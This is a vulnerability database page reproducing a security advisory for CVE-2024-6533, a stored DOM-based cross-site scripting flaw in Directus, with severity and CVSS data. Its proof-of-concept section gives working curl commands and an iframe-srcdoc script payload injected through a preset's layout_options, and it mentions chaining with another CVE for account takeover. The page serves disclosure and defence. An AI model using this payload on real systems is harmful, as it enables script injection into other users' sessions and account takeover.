Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-9qrm-48qf-r2rw
Advisory ID github_osv/GHSA-9qrm-48qf-r2rw
Aliases CVE-2024-6533
Summary Directus has a DOM-Based cross-site scripting (XSS) via layout_options ### Impact Directus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover. ### PoC To exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account. 1. Upload the following JavaScript file. Using the upload functionality at `POST /files`. This PoC will show an alert message. ```js export TARGET_HOST="http://localhost:8055" export ATTACKER_EMAIL="malicious@malicious.com" export ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" id_url_file=$(echo "alert('Successful DOM-based XSS')" | curl -s -k -X 'POST' "${TARGET_HOST}/files" \ -b "${root_dir}/static/attacker_directus_session_token" \ -F "file=@-;type=application/x-javascript;filename=poc.js" | jq -r ".data.id") ``` 2. Create a preset for a collection and store the preset ID. Or use a preset already created from GET /presets. The following example uses the direct_users preset. ``` attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") curl -i -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"<iframe srcdoc=\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\">\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}" ``` When the user visits the view that uses the directus_users preset, the JavaScript file will be executed. Notes: Need to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `<iframe srcdoc=\"<script src='URL_MALICIOUS_FILE'> </script>\">`. We can target any collection that uses the vulnerable template structure that renders the layout option section. In this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.
Status Published
Exploitability 0.5
Weighted Severity 3.1
Risk 1.6
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
System Score Found at
cvssv3.1 3.4 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-9qrm-48qf-r2rw/GHSA-9qrm-48qf-r2rw.json
generic_textual LOW
Reference id Reference type URL
https://github.com/directus/directus
GHSA-9qrm-48qf-r2rw https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-9qrm-48qf-r2rw/GHSA-9qrm-48qf-r2rw.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-08-16T17:30:37Z/

Decision: Track

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2024/6xxx/CVE-2024-6533.json

Source Advisory: vulnrichment/CVE-2024-6533

View SSVC decision tree 
[{'Exploitation': 'poc'},
 {'Automatable': 'no'},
 {'Technical Impact': 'partial'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]